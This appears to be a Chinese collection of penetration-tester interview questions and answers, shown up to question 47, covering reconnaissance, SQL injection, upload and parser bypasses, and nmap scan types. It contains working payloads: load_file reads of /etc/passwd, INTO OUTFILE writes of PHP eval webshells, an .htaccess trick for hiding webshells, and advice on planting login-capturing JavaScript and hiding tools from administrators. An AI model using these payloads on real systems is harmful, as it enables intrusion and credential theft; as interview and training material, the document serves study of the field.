搜索

[17991] 2021-04-27_渗透测试工程师面试题大全（164道）

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2021-04-27_渗透测试工程师面试题大全（164道） 渗 透 测 试 工 程 师 面 试 题 大 全 （ 1 6 4 道 ） H a c k i n g 黑 白 红   2 0 2 1 - 0 4 - 2 7 f r o m : b a c k l i o n 大 佬   整 理 1 . 拿 到 一 个 待 检 测 的 站 ， 你 觉 得 应 该 先 做 什 么 ？ 收 集 信 息 ： w h o i s 、 网 站 源 I P 、 旁 站 、 C   段 网 站 、 服 务 器 系 统 版 本 、 容 器 版 本 、 程 序 版 本 、 数 据 库 类 型 、 二 级 域 名 、 防 火 墙 、 维 护 者 信 息 另 说 … 2 . m y s q l   的 网 站 注 入 ， 5 . 0   以 上 和   5 . 0   以 下 有 什 么 区 别 ？ 5 . 0   以 下 没 有   i n f o r m a t i o n _ s c h e m a   这 个 系 统 表 ， 无 法 列 表 名 等 ， 只 能 暴 力 跑 表 名 ； 5 . 0   以 下 是 多 用 户 单 操 作 ， 5 . 0   以 上 是 多 用 户 多 操 做 。 3 . 在 渗 透 过 程 中 ， 收 集 目 标 站 注 册 人 邮 箱 对 我 们 有 什 么 价 值 ？ ( 1 ) 丢 社 工 库 里 看 看 有 没 有 泄 露 密 码 ， 然 后 尝 试 用 泄 露 的 密 码 进 行 登 录 后 台 ( 2 ) 用 邮 箱 做 关 键 词 进 行 丢 进 搜 索 引 擎 ( 3 ) 利 用 搜 索 到 的 关 联 信 息 找 出 其 他 邮 箱 进 而 得 到 常 用 社 交 账 号 ( 4 ) 社 工 找 出 社 交 账 号 ， 里 面 或 许 会 找 出 管 理 员 设 置 密 码 的 习 惯 ( 5 ) 利 用 已 有 信 息 生 成 专 用 字 典 ( 6 )   观 察 管 理 员 常 逛 哪 些 非 大 众 性 网 站 ， 拿 下 它 ， 你 会 得 到 更 多 好 东 西 4 . 判 断 出 网 站 的   C M S   对 渗 透 有 什 么 意 义 ？ 查 找 网 上 已 曝 光 的 程 序 漏 洞 , 如 果 开 源 ， 还 能 下 载 相 对 应 的 源 码 进 行 代 码 审 计 。 5 . 一 个 成 熟 并 且 相 对 安 全 的   C M S ， 渗 透 时 扫 目 录 的 意 义 ？ ( 1 ) 敏 感 文 件 、 二 级 目 录 扫 描 ( 2 ) 站 长 的 误 操 作 比 如 ： 网 站 备 份 的 压 缩 文 件 、 说 明 . t x t 、 二 级 目 录 可 能 存 放 着 其 他 站 点 6 . 常 见 的 网 站 服 务 器 容 器 ? I I S 、 A p a c h e 、 n g i n x 、 T o m c a t , w e b l o g i c 、 j b o s s 7 . m y s q l   注 入 点 ， 用 工 具 对 目 标 站 直 接 写 入 一 句 话 ， 需 要 哪 些 条 件 ？ r o o t   权 限 以 及 网 站 的 绝 对 路 径 l o a d _ f i l e ( ) 读 取 文 件 操 作 前 提 ： 知 道 文 件 的 绝 对 路 径 能 够 使 用   u n i o n   查 询 对   w e b   目 录 有 写 的 权 限 路 径 没 有 加 单 引 号 的 话 必 须 转 换 十 六 进 制 要 是 想 省 略 单 引 号 的 话 必 须 转 换 十 六 进 制 i n t o   o u t f i l e   写 入 文 件 操 作 前 提 ： 文 件 名 必 须 是 全 路 径 ( 绝 对 路 径 ) 用 户 必 须 有 写 文 件 的 权 限 u n i o n   s e l e c t   1 , l o a d _ f i l e ( ’ / e t c / p a s s w d ’ ) , 3 , 4 , 5 # 0 x 2 f 6 5 7 4 6 3 2 f 7 0 6 1 7 3 7 3 7 7 6 4 u n i o n   s e l e c t   1 , l o a d _ f i l e ( 0 x 2 f 6 5 7 4 6 3 2 f 7 0 6 1 7 3 7 3 7 7 6 4 ) , 3 , 4 , 5 #
没 有 对 单 引 号 ’ 过 滤 路 径 里 面 两 个 反 斜 杠 可 以 换 成 一 个 正 斜 杠 / P H P   语 句 没 有 单 引 号 的 话 ， 必 须 转 换 成 十 六 进 制 要 是 想 省 略 单 引 号 ’ 的 话 , 必 须 转 换 成 十 六 进 制 建 议 一 句 话   P H P   语 句 转 换 成 十 六 进 制 8 . 目 前 已 知 哪 些 版 本 的 容 器 有 解 析 漏 洞 ， 具 体 举 例 ? ( 1 )   I I S   6 . 0 / x x . a s p / x x . j p g   " x x . a s p " 是 文 件 夹 名 ( 2 )   I I S   7 . 0 / 7 . 5 默 认 F a s t - C G I   开 启 ， 直 接 在 u r l   中 图 片 地 址 后 面 输 入 / 1 . p h p ， 会 把 正 常 图 片 当 成   p h p   解 析 ( 3 )   N g i n x 版 本 小 于 等 于   0 . 8 . 3 7 ， 利 用 方 法 和   I I S   7 . 0 / 7 . 5   一 样 ， F a s t - C G I   关 闭 情 况 下 也 可 利 用 。 空 字 节 代 码   x x x . j p g . p h p ( 4 ) A p a c h e 上 传 的 文 件 命 名 为 ： t e s t . p h p . x 1 . x 2 . x 3 ， A p a c h e   是 从 右 往 左 判 断 后 缀 ( 6 ) l i g h t t p d x x . j p g / x x . p h p 9 . 如 何 手 工 快 速 判 断 目 标 站 是   w i n d o w s   还 是   l i n u x   服 务 器 ？ l i n u x   大 小 写 敏 感 , w i n d o w s   大 小 写 不 敏 感 1 0 . 为 何 一 个   m y s q l   数 据 库 的 站 ， 只 有 一 个   8 0   端 口 开 放 ？ ( 1 ) 更 改 了 端 口 ， 没 有 扫 描 出 来 ( 2 )   站 库 分 离 ( 3 )   3 3 0 6   端 口 不 对 外 开 放 1 1 . 3 3 8 9   无 法 连 接 的 几 种 情 况 ? ( 1 ) 没 开 放   3 3 8 9   端 口 ( 2 ) 端 口 被 修 改 ( 3 )   防 护 拦 截 ( 4 ) 处 于 内 网 ( 需 进 行 端 口 转 发 ) s e l e c t   ‘ < ? p h p   p h p i n f o ( ) ;   ? > ’   i n t o   o u t f i l e ‘ C : W i n d o w s t m p 8 . p h p ’   s e l e c t   ‘ < ? p h p   @ e v a l ( $ _ P O S T [ " a d m i n " ] ) ; ? > ’   i n t o   o u t f i l e ‘ C : W i n d o w s t m p 8 . p h p ’ < ? p h p   e v a l ( $ _ P O S T [ " a d m i n " ] ) ;   ? >   或 者 < ? p h p   e v a l ( $ _ G E T [ " a d m i n " ] ) ;   ? >   < ? p h p   @ e v a l ( $ _ P O S T [ " a d m i n " ] ) ;   ? >   < ? p h p p h p i n f o ( ) ;   ? > < ? p h p   e v a l ( $ _ P O S T [ " a d m i n " ] ) ;   ? >
1 2 . 如 何 突 破 注 入 时 字 符 被 转 义 ？ 宽 字 符 注 入 ; h e x   编 码 绕 过 1 3 . 在 某 后 台 新 闻 编 辑 界 面 看 到 编 辑 器 ， 应 该 先 做 什 么 ？ 查 看 编 辑 器 的 名 称 版 本 , 然 后 搜 索 公 开 的 漏 洞 1 4 . 拿 到 一 个   w e b s h e l l   发 现 网 站 根 目 录 下 有 . h t a c c e s s   文 件 ， 我 们 能 做 什 么 ？ 能 做 的 事 情 很 多 ， 用 隐 藏 网 马 来 举 例 子 ： 插 入 < F i l e s M a t c h   “ x x x . j p g ” >   S e t H a n d l e r a p p l i c a t i o n / x - h t t p d - p h p . j p g   文 件 会 被 解 析 成 . p h p   文 件 1 5 . 注 入 漏 洞 只 能 查 账 号 密 码 ？ 可 脱 裤 ， 可 上 传   w e b s h e l l , 可 执 行 命 令 1 6 . 安 全 狗 会 追 踪 变 量 ， 从 而 发 现 出 是 一 句 话 木 马 吗 ？ 是 根 据 特 征 码 ， 所 以 很 好 绕 过 1 7 . a c c e s s   扫 出 后 缀 为   a s p   的 数 据 库 文 件 ， 访 问 乱 码 。 如 何 实 现 到 本 地 利 用 ? 迅 雷 下 载 ， 直 接 改 后 缀 为 . m d b 1 8 . 提 权 时 选 择 可 读 写 目 录 ， 为 何 尽 量 不 用 带 空 格 的 目 录 ？ 因 为   e x p   执 行 多 半 需 要 空 格 界 定 参 数 1 9 . 某 服 务 器 有 站 点   A , B   为 何 在   A   的 后 台 添 加   t e s t   用 户 ， 访 问   B   的 后 台 。 发 现 也 添 加 上 了   t e s t   用 户 ？ 同 数 据 库 2 0 . 注 入 时 可 以 不 使 用   a n d   或   o r   或   x o r ， 直 接   o r d e r   b y   开 始 注 入 吗 ？ a n d / o r / x o r ， 前 面 的   1 = 1 、 1 = 2   步 骤 只 是 为 了 判 断 是 否 为 注 入 点 ， 如 果 已 经 确 定 是 注 入 点 那 就 可 以 省 那 步 骤 去 2 1 : 某 个 防 注 入 系 统 ， 在 注 入 时 会 提 示 ： 统 检 测 到 你 有 非 法 注 入 的 行 为 。 已 记 录 您 的   i p x x . x x . x x . x x   时 间 : 2 0 1 6 : 0 1 - 2 3   提 交 页 面 : t e s t . a s p ? i d = 1 5   提 交 内 容 : a n d 1 = 1   如 何 利 用 这 个 防 注 入 系 统 拿   s h e l l ？ 在 U R L   里 面 直 接 提 交 一 句 话 ， 这 样 网 站 就 把 你 的 一 句 话 也 记 录 进 数 据 库 文 件 了 ,   这 个 时 候 可 以 尝 试 寻 找 网 站 的 配 置 文 件   直 接 上 菜 刀 链 接 。 具 体 文 章 参 见 ： h t t p : / / y t x i a o . l o f t e r . c o m / p o s t / 4 0 5 8 3 a _ a b 3 6 5 4 0 2 2 . 上 传 大 马 后 访 问 乱 码 时 ， 有 哪 些 解 决 办 法 ？ 浏 览 器 中 改 编 码 2 3 . 审 查 上 传 点 的 元 素 有 什 么 意 义 ？ 有 些 站 点 的 上 传 文 件 类 型 的 限 制 是 在 前 端 实 现 的 ， 这 时 只 要 增 加 上 传 类 型 就 能 突 破 限 制 了 2 4 . 目 标 站 禁 止 注 册 用 户 ， 找 回 密 码 处 随 便 输 入 用 户 名 提 示 ： “ 此 用 户 不 存 在 ” ， 你 觉 得 这 里 怎 样 利 用 ？ 先 爆 破 用 户 名 ， 再 利 用 被 爆 破 出 来 的 用 户 名 爆 破 密 码 。 2 5 . 目 标 站 发 现 某   t x t   的 下 载 地 址 为 h t t p : / / w w w . t e s t . c o m / d o w n / d o w n . p h p ? f i l e = / u p w d o w n / 1 . t x t ， 你 有 什 么 思 路 ？ 这 就 任 意 文 件 下 载 漏 洞 ， 在   f i l e = 后 面 尝 试 输 入   i n d e x . p h p   下 载 他 的 首 页 文 件 ， 然 后 在 首 页 文 件 里 继 续 查 找 其 他 网 站 的 配 置 文 件 ， 可 以 找 出 网 站 的 数 据 库 密 码 和 数 据 库 的 地 址 。 2 6 . 甲 给 你 一 个 目 标 站 ， 并 且 告 诉 你 根 目 录 下 存 在 / a b c / 目 录 ， 并 且 此 目 录 下 存 在 编 辑 器 和   a d m i n   目 录 。 请 问 你 的 想 法 是 ？ 直 接 在 网 站 二 级 目 录 / a b c / 下 扫 描 敏 感 文 件 及 目 录 2 7 . 在 有   s h e l l   的 情 况 下 ， 如 何 使 用   x s s   实 现 对 目 标 站 的 长 久 控 制 ？ ( 1 ) 后 台 登 录 处 加 一 段 记 录 登 录 账 号 密 码 的   j s ， 并 且 判 断 是 否 登 录 成 功 ， 如 果 登 录 成 功 ， 就 把 账 号 密 码 记 录 到 一 个 生 僻 的 路 径 的 文 件 中 或 者 直 接 发 到 自 己 的 网 站 文 件 中 。 ( 此 方 法 适 合 有 价 值 并 且 需 要 深 入 控 制 权 限 的 网 络 )
( 2 ) 在 登 录 后 才 可 以 访 问 的 文 件 中 插 入   X S S   脚 本 2 8 . 后 台 修 改 管 理 员 密 码 处 ， 原 密 码 显 示 为 * 。 你 觉 得 该 怎 样 实 现 读 出 这 个 用 户 的 密 码 ？ 审 查 元 素   把 密 码 处 的   p a s s w o r d   属 性 改 成 t e x t   就 明 文 显 示 了 2 9 . 目 标 站 无 防 护 ， 上 传 图 片 可 以 正 常 访 问 ， 上 传 脚 本 格 式 访 问 则   4 0 3 . 什 么 原 因 ？ 原 因 很 多 ， 有 可 能   w e b   服 务 器 配 置 把 上 传 目 录 写 死 了 不 执 行 相 应 脚 本 ， 尝 试 改 后 缀 名 绕 过 3 0 . 审 查 元 素 得 知 网 站 所 使 用 的 防 护 软 件 ， 你 觉 得 怎 样 做 到 的 ？ 在 敏 感 操 作 被 拦 截 ， 通 过 界 面 信 息 无 法 具 体 判 断 是 什 么 防 护 的 时 候 ， F 1 2   看 H T M L   体 部   比 如 护 卫 神 就 可 以 在 名 称 那 看 到 内 容 3 1 . 在   w i n 2 0 0 3   服 务 器 中 建 立 一 个   . z h o n g z i   文 件 夹 用 意 何 为 ？ 隐 藏 文 件 夹 ， 为 了 不 让 管 理 员 发 现 你 传 上 去 的 工 具 3 2 . s q l   注 入 有 以 下 两 个 测 试 选 项 ， 选 一 个 并 且 阐 述 不 选 另 一 个 的 理 由 ? A . d e m o . j s p ? i d = 2 + 1   B .   d e m o . j s p ? i d = 2 - 1 选   B ， 在 U R L   编 码 中 +   代 表 空 格 ， 可 能 会 造 成 混 淆 3 3 . 以 下 链 接 存 在   s q l   注 入 漏 洞 ， 对 于 这 个 变 形 注 入 ， 你 有 什 么 思 路 ？ d e m o . d o ? D A T A = A j A x N g = = D A T A   有 可 能 经 过 了   b a s e 6 4   编 码 再 传 入 服 务 器 ， 所 以 我 们 也 要 对 参 数 进 行 b a s e 6 4   编 码 才 能 正 确 完 成 测 试 3 4   发 现   d e m o . j s p ? u i d = 1 1 0   注 入 点 ， 你 有 哪 几 种 思 路 获 取   w e b s h e l l ， 哪 种 是 优 选 ？ ( 1 ) 有 写 入 权 限 的 ， 构 造 联 合 查 询 语 句 使 用   u s i n g   I N T O   O U T F I L E ， 可 以 将 查 询 的 输 出 重 定 向 到 系 统 的 文 件 中 ， 这 样 去 写 入   W e b S h e l l ( 2 ) 使 用   s q l m a p   – o s - s h e l l   原 理 和 上 面 一 种 相 同 ， 来 直 接 获 得 一 个   S h e l l ， 这 样 效 率 更 高 ( 3 ) 通 过 构 造 联 合 查 询 语 句 得 到 网 站 管 理 员 的 账 户 和 密 码 ， 然 后 扫 后 台 登 录 后 台 ， 再 在 后 台 通 过 改 包 上 传 等 方 法 上 传   S h e l l 3 5 . C S R F   和   X S S   和   X X E   有 什 么 区 别 ， 以 及 修 复 方 式 ？ ( 1 ) X S S   是 跨 站 脚 本 攻 击 ， 用 户 提 交 的 数 据 中 可 以 构 造 代 码 来 执 行 ， 从 而 实 现 窃 取 用 户 信 息 等 攻 击 。 修 复 方 式 ： 对 字 符 实 体 进 行 转 义 、 使 用   H T T P   O n l y   来 禁 止 J a v a S c r i p t   读 取 C o o k i e   值 、 输 入 时 校 验 、 浏 览 器 与   W e b   应 用 端 采 用 相 同 的 字 符 编 码 。 ( 2 ) C S R F   是 跨 站 请 求 伪 造 攻 击 ， X S S   是 实 现   C S R F   的 诸 多 手 段 中 的 一 种 ， 是 由 于 没 有 在 关 键 操 作 执 行 时 进 行 是 否 由 用 户 自 愿 发 起 的 确 认 。 修 复 方 式 ： 筛 选 出 需 要 防 范   C S R F   的 页 面 然 后 嵌 入   T o k e n 、 再 次 输 入 密 码 、 检 验   R e f e r e r 。 ( 3 ) X X E   是   X M L   外 部 实 体 注 入 攻 击 ， X M L   中 可 以 通 过 调 用 实 体 来 请 求 本 地 或 者 远 程 内 容 ， 和 远 程 文 件 保 护 类 似 ， 会 引 发 相 关 安 全 问 题 ， 例 如 敏 感 文 件 读 取 。 修 复 方 式 ： X M L   解 析 库 在 调 用 时 严 格 禁 止 对 外 部 实 体 的 解 析 。 3 6 . C S R F 、 S S R F   和 重 放 攻 击 有 什 么 区 别 ？ ( 1 ) C S R F   是 跨 站 请 求 伪 造 攻 击 ， 由 客 户 端 发 起 ( 2 ) S S R F   是 服 务 器 端 请 求 伪 造 ， 由 服 务 器 发 起 ( 3 ) 重 放 攻 击 是 将 截 获 的 数 据 包 进 行 重 放 ， 达 到 身 份 认 证 等 目 的 3 7 . 说 出 至 少 三 种 业 务 逻 辑 漏 洞 ， 以 及 修 复 方 式 ？ ( 1 ) 密 码 找 回 漏 洞 中 存 在 密 码 允 许 暴 力 破 解 、 存 在 通 用 型 找 回 凭 证 、 可 以 跳 过 验 证 步 骤 、 找 回 凭 证 可 以 拦 包 获 取 等 方 式 来 通 过 厂 商 提 供 的 密 码 找 回 功 能 来 得 到 密 码 ( 2 ) 身 份 认 证 漏 洞 中 最 常 见 的 是 会 话 固 定 攻 击 和   C o o k i e   仿 冒 ， 只 要 得 到 S e s s i o n   或   C o o k i e   即 可 伪 造 用 户 身 份 ( 3 ) 验 证 码 漏 洞 中 存 在 验 证 码 允 许 暴 力 破 解 、 验 证 码 可 以 通 过   J a v a s c r i p t   或 者 改 包 的 方 法 来 进 行 绕 过 3 8   圈 出 下 面 会 话 中 可 能 存 在 问 题 的 项 ， 并 标 注 可 能 会 存 在 的 问 题 ？ G E T / e c s k i n s / d e m o . j s p ? u i d = 2 0 1 6 0 3 1 9 0 0 & k e y w o r d = ” h e l l o   w o r l d ! ” H T T P / 1 . 1 H o s t :   * * * c o m : 8 2 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T 6 . 1 ;   W O W 6 4 ;   r v : 4 5 . 0 ) G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 4 5 . 0 A c c e p t :   t e x t / c s s , / ; q = 0 . 1 A c c e p t - L a n g u a g e :
z h - C N , z h ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e R e f e r e r :   h t t p : / / * * * * * * * c o m : 8 2 / e c i o p / o r d e r F o r C C / c g t L i s t F o r C C . h t m ? z o n e = 1 1 3 7 0 6 0 1 & v = 1 4 5 9 6 6 3 5 9 1 8 1 7 C o o k i e : m y g u i d 1 2 3 4 5 6 7 8 9 0 = 1 3 4 9 d b 5 f e 5 0 c 3 7 2 c 3 d 9 9 5 7 0 9 f 5 4 c 2 7 3 d ; u n i q u e u s e r i d = s e s s i o n _ 0 G R M i F i Y J h A h 5 _ H Z r Q o Z a m J ; s t _ u i d = N 9 0 p I Y H L Z g j X I - N X 0 1 v P U f 4 6 w 9 5 2 J - 0 N c X 1 9 v g j 1 L % 3 D J X r Z P 9 s f 0 I Y - v E I 9 i N I X 1 5 0 i L X K a t 1 Y Z L n U f 4 6 Z % 2 C 5 a e c 5 b i M 5 r C R O u e D n % 2 B W P s O e D n % 2 B i N i T r n g 5 % 2 F l j 7 A % 3 D ;   s t a t u s = T r u e C o n n e c t i o n :   k e e p - a l i v e （ 标 红   1 ： s q l   注 入 ， 标 红   2 ： x s s ， 标 红   3 ： c o o k i e s   欺 骗 ， 4 ： 会 话   C S R F   或 重 放 风 险 。 ） 考 对   H T T P   数 据 包 字 段 敏 感 度 及 会 话 渗 透 经 验 。 3 9 . 找 一 类 你 最 擅 长 的 漏 洞 ， 谈 下 绕 过 漏 洞 修 复 后 的 方 案 ？ / / 看 对 常 规 漏 洞 的 深 入 程 度 4 0 . 你 常 用 的 渗 透 工 具 有 哪 些 ， 最 常 用 的 是 哪 个 ？ b u r p s u i t , a p p s c a n , a v w v s , s q l m a p , f i d d l e r   等 4 1 . 描 述 一 个 你 深 入 研 究 过 的   C V E   或   P O C ? 如   c v e - 2 0 1 7 - 1 1 1 9 1 o f f c i e   的   d d e   漏 洞 4 2 . 谈 谈 你 经 常 关 注 的 安 全 平 台 ？ 如 ， t o o l s . n e t , 9 0 s e c , 先 知 社 区 ， 安 全 客 ， f r e e b u f   等 4 3 . 给 你 一 个 网 站 你 是 如 何 来 渗 透 测 试 的 ? 在 获 取 书 面 授 权 的 前 提 下 ： ( 1 ) 信 息 收 集 ， 1 . 获 取 域 名 的   w h o i s   信 息 , 获 取 注 册 者 邮 箱 姓 名 电 话 等 。 2 . 查 询 服 务 器 旁 站 以 及 子 域 名 站 点 ， 因 为 主 站 一 般 比 较 难 ， 所 以 先 看 看 旁 站 有 没 有 通 用 性 的   c m s   或 者 其 他 漏 洞 。 3 . 查 看 服 务 器 操 作 系 统 版 本 ， w e b   中 间 件 ， 看 看 是 否 存 在 已 知 的 漏 洞 ， 比 如   I I S ， A P A C H E , N G I N X   的 解 析 漏 洞 4 . 查 看   I P ， 进 行   I P   地 址 端 口 扫 描 ， 对 响 应 的 端 口 进 行 漏 洞 探 测 ， 比 如   r s y n c , 心 脏 出 血 ， m y s q l , f t p , s s h   弱 口 令 等 。 5 . 扫 描 网 站 目 录 结 构 ， 看 看 是 否 可 以 遍 历 目 录 ， 或 者 敏 感 文 件 泄 漏 ， 比 如 p h p   探 针 6 . g o o g l e   h a c k   进 一 步 探 测 网 站 的 信 息 ， 后 台 ， 敏 感 文 件 ( 2 ) 漏 洞 扫 描 开 始 检 测 漏 洞 ， 如   X S S , X S R F , s q l   注 入 ， 代 码 执 行 ， 命 令 执 行 ， 越 权 访 问 ， 目 录 读 取 ， 任 意 文 件 读 取 ， 下 载 ， 文 件 包 含 ，   远 程 命 令 执 行 ， 弱 口 令 ， 上 传 ， 编 辑 器 漏 洞 ， 暴 力 破 解 等 ( 3 ) 漏 洞 利 用 利 用 以 上 的 方 式 拿 到   w e b s h e l l ， 或 者 其 他 权 限 ( 4 ) 权 限 提 升 提 权 服 务 器 ， 比 如   w i n d o w s   下   m y s q l   的   u d f   提 权 ， s e r v - u   提 权 ， w i n d o w s 低 版 本 的 漏 洞 ， 如   i i s 6 , p r , 巴 西 烤 肉 ， l i n u x   脏 牛 漏 洞 ， l i n u x   内 核 版 本 漏 洞 提 权 ， l i n u x   下 的   m y s q l   s y s t e m   提 权 以 及   o r a c l e   低 权 限 提 权 ( 5 ) 日 志 清 理 ( 6 ) 总 结 报 告 及 修 复 方 案 或 者 ： 1 ） 信 息 收 集 a .   服 务 器 的 相 关 信 息 （ 真 实   i p ， 系 统 类 型 ， 版 本 ， 开 放 端 口 ， W A F   等 ） b .   网 站 指 纹 识 别 （ 包 括 ， c m s ， c d n ， 证 书 等 ） ， d n s   记 录 c .   w h o i s   信 息 ， 姓 名 ， 备 案 ， 邮 箱 ， 电 话 反 查 （ 邮 箱 丢 社 工 库 ， 社 工 准 备 等 ） d .   子 域 名 收 集 ， 旁 站 查 询 ( 有 授 权 可 渗 透 ) ， C   段 等 e .   g o o g l e   h a c k i n g   针 对 化 搜 索 ， p d f   文 件 ， 中 间 件 版 本 ， 弱 口 令 扫 描 等 f .   扫 描 网 站 目 录 结 构 ， 爆 后 台 ， 网 站   b a n n e r ， 测 试 文 件 ， 备 份 等 敏 感 文 件 泄 漏 等 i .   传 输 协 议 ， 通 用 漏 洞 ， e x p ， g i t h u b   源 码 等 2 ） 漏 洞 挖 掘 1 . 浏 览 网 站 ， 看 看 网 站 规 模 ， 功 能 ， 特 点 等 2 .   端 口 ， 弱 口 令 ， 目 录 等 扫 描 3 .   X S S ， S Q L   注 入 ， 命 令 注 入 ， C S R F ， c o o k i e   安 全 检 测 ， 敏 感 信 息 ， 通 信 数 据 传 输 ， 暴 力 破 解 ， 任 意 文 件 上 传 ， 越 权 访 问 ， 未 授 权 访 问 ， 目 录 遍 历 ， 文 件   包 含 ， 重 放 攻 击 （ 短 信 轰 炸 ） ， 服 务 器 漏 洞 检 测 ， 最 后 使 用 漏 扫 工 具 等 3 ） 漏 洞 利 用   |   权 限 提 升   a )   m y s q l   提 权 ， s e r v - u   提 权 ， l i n u x   内 核 版 本 提 权 等 4 ） 清 除 测 试 数 据   |   输 出 报 告 日 志 、 测 试 数 据 的 清 理 总 结 ， 输 出 渗 透 测 试 报 告 ， 附 修 复 方 案 5 )   复 测 验 证 并 发 现 是 否 有 新 漏 洞 ， 输 出 报 告 ， 归 档
4 4 . s q l m a p ， 怎 么 对 一 个 注 入 点 注 入 ？ ( 1 ) 如 果 是   g e t   型 号 ， 直 接 ， s q l m a p   - u   “ 诸 如 点 网 址 ” . ( 2 ) 如 果 是   p o s t   型 诸 如 点 ， 可 以   s q l m a p   - u   " 注 入 点 网 址 ” – d a t a = “ p o s t 的 参 数 ” ( 3 ) 如 果 是   c o o k i e ， X - F o r w a r d e d - F o r   等 ， 可 以 访 问 的 时 候 ， 用   b u r p s u i t e 抓 包 ， 注 入 处 用 * 号 替 换 ， 放 到 文 件 里 ， 然 后 s q l m a p   - r   “ 文 件 地 址 ” 4 5 . n m a p ， 扫 描 的 几 种 方 式 ? t c p   c o n n e c t ( ) 这 种 方 式 最 简 单 。 直 接 与 被 扫 描 的 端 口 建 立 t c p 链 接 ， 如 果 成 功 ， 则 说 明 端 口 开 放 ， 如 果 不 成 功 则 说 明 端 口 关 闭 的 。 这 种 扫 描 的 特 点 是 与 被 扫 描 端 口 建 立 完 成 的 t c p 链 接 ， 完 整 的 t c p 三 次 握 手 。 优 点 主 要 是 不 需 要 r o o t 权 限 即 可 扫 描 端 口 。 因 为 c o n n e c t 可 以 在 用 户 态 直 接 调 用 T C P   S Y N   s c a n n i n g 这 种 扫 描 方 式 又 被 称 为 t c p 半 开 放 扫 描 。 顾 名 思 义 ， 这 种 扫 描 不 需 要 建 立 完 整 的 t c p 连 接 ， 即 可 扫 描 端 口 的 状 态 。 发 送 t c p   s y n 数 据 包 ， 这 个 也 是 t c p 握 手 的 第 一 个 包 。 如 果 端 口 开 放 ， 则 会 返 回   t c p   s y n + a c k 数 据 包 。 如 果 端 口 关 闭 ， 则 返 回   t c p   r s t 数 据 包 。 这 样 我 们 就 不 用 进 行 t c p   握 手 的 第 三 步 ， 也 可 以 探 测 端 口 的 状 态 。 这 种 扫 描 需 要 构 建 r a w   s o c k e t 。 所 以 需 要 r o o t 权 限 T C P   F I N   s c a n n i n g 有 些 时 候 防 火 墙 绘 过 滤 t c p   s y n 数 据 包 ， 有 些 时 候 会 记 录 s y n 数 据 包 并 检 测 时 候 有 n m a p 扫 描 。 这 时 候 可 以 使 用 T C P   F I N   s c a n n i n g 。 这 种 方 式 很 简 单 。 发 送 t c p F I N 数 据 包 到 待 测 端 口 。 如 果 返 回 R S T 数 据 包 ， 则 说 明 该 端 口 关 闭 ， 如 果 无 返 回 则 说 明 该 端 口 开 放 。 这 时 t c p 协 议 的 一 个 B U G ， 所 以 这 种 扫 描 方 式 不 一 定 百 分 之 百 可 靠 （ 例 如 w i n d o w s ） ， 但 是 这 种 扫 描 方 式 适 合 大 部 分   * N I X   系 统 。 T C P   N U L L ,   F I N ,   a n d   X m a s   s c a n s 如 果 目 的 端 口 的 是 关 闭 的 ， 并 且 接 受 到 的 t c p 数 据 包 如 果 可 能 会 导 致 系 统 错 误 ， 则 返 回 R S T 。 如 果 开 放 的 端 口 接 受 到 诸 如 S Y N   R S T   A C K ， 则 丢 弃 或 者 不 做 任 何 处 理 。 根 据 此 R F C 描 述 ， 我 们 可 以 发 送 不 包 含 S Y N   R S T 或 者 A C K 标 志 的 数 据 包 ， 如 果 返 回 R S T 则 说 明 端 口 是 关 闭 状 态 ， 如 果 什 么 都 没 有 返 回 则 说 明 端 口 是 开 放 状 态 。 N u l l   s c a n t c p   f l a g   h e a d e r s   全 为 0 F I N   s c a n 只 设 置 t c p   F I N 标 志 x m a s   s c a n 同 时 设 置 F I N   P S H   U R G 标 志 位 。 上 面 这 三 种 扫 描 的 结 果 都 是 一 致 的 ， 如 果 接 受 到 到 R S T ， 则 说 明 端 口 是 关 闭 的 。 如 果 无 响 应 ， 则 端 口 可 能 是 开 放 或 者 f i l t e t e d 状 态 。 如 果 返 回 i c m p u n r e a c h a b l e   e r r o r ( t y p e   3 ,   c o d e   0 ,   1 ,   2 ,   3 ,   9 ,   1 0 ,   1 3 ) ， 则 说 明 端 口 一 定 是 f i l t e r e d 的 。 T C P   A C K   s c a n 这 种 扫 描 只 设 置 t c p   a c k 标 志 位 。 这 种 扫 描 一 般 来 探 测 防 火 墙 是 否 过 滤 被 扫 描 的 端 口 。 如 果 扫 描 的 端 口 未 被 防 火 墙 保 护 ， 那 么 无 论 是 开 放 或 者 是 关 闭 ， 都 会 返 回 R S T 。 n m a p 将 该 端 口 标 记 为 未 被 封 锁 的 （ u n f i l t e r e d ） ， 但 是 不 能 确 定 该 端 口 是 开 放 或 者 关 闭 状 态 。 如 果 无 响 应 ， 或 者 返 货 i c m p   e r r o r ， 则 该 端 口 一 定 被 防 火 墙 封 锁 了 T C P   W i n d o w   s c a n t c p 窗 口 扫 描 ， 如 果 接 收 到 R S T ， 则 说 明 端 口 封 锁 了 。 在 某 些 操 作 系 统 ， 开 放 的 端 口 会 返 回 一 个 正 数 的 t c p 窗 口 值 ， 如 果 端 口 关 闭 ， 则 返 回 t c p 窗 口 值 为 0 或 者 负 数 。 但 是 这 种 扫 描 不 是 很 靠 谱 T C P   M a i m o n   s c a n 这 种 扫 描 为 发 送 同 时 设 置 F I N / A C K 的 数 据 包 。 如 果 返 回 R S T ， 则 说 明 端 口 是 开 放 的 ， 如 果 无 响 应 ， 则 是 关 闭 状 态 的 。 I P   p r o t o c o l   s c a n 这 种 是 专 门 扫 描 i p 协 议 的 。 扫 描 类 似 于 u d p 扫 描 ， 如 果 I P 协 议 号 不 存 在 ， 返 回   i c m p 错 误 。 具 体 没 用 过 ， 不 太 好 写 U D P   I C M P   p o r t   u n r e a c h a b l e   s c a n n i n g 如 果 u d p 端 口 开 放 ， 则 无 响 应 。 如 果 u d p 端 口 关 闭 ， 则 会 返 回 i c m p   u n r e a c h a b l e   e r r o r 错 误 。 这 种 扫 描 需 要 r o o t 权 限 ， 因 为 需 要 构 建 r a w   s o c k e t 。 U D P   c o n n e c t 扫 描 扫 描 这 种 直 接 一 个 一 个 建 立 u d p 连 接 ， 如 果 能 建 立 ， 则 说 明 端 口 开 放 ， 不 能 建 立 则 端 口 关 闭 。 4 6 . s q l   注 入 的 几 种 类 型 ？ ( 1 ) 报 错 注 入 ( 2 ) b o o l   型 注 入 ( 3 ) 延 时 注 入 ( 4 ) 宽 字 节 注 入 4 7 . 报 错 注 入 的 函 数 有 哪 些 ？ ( 1 ) a n 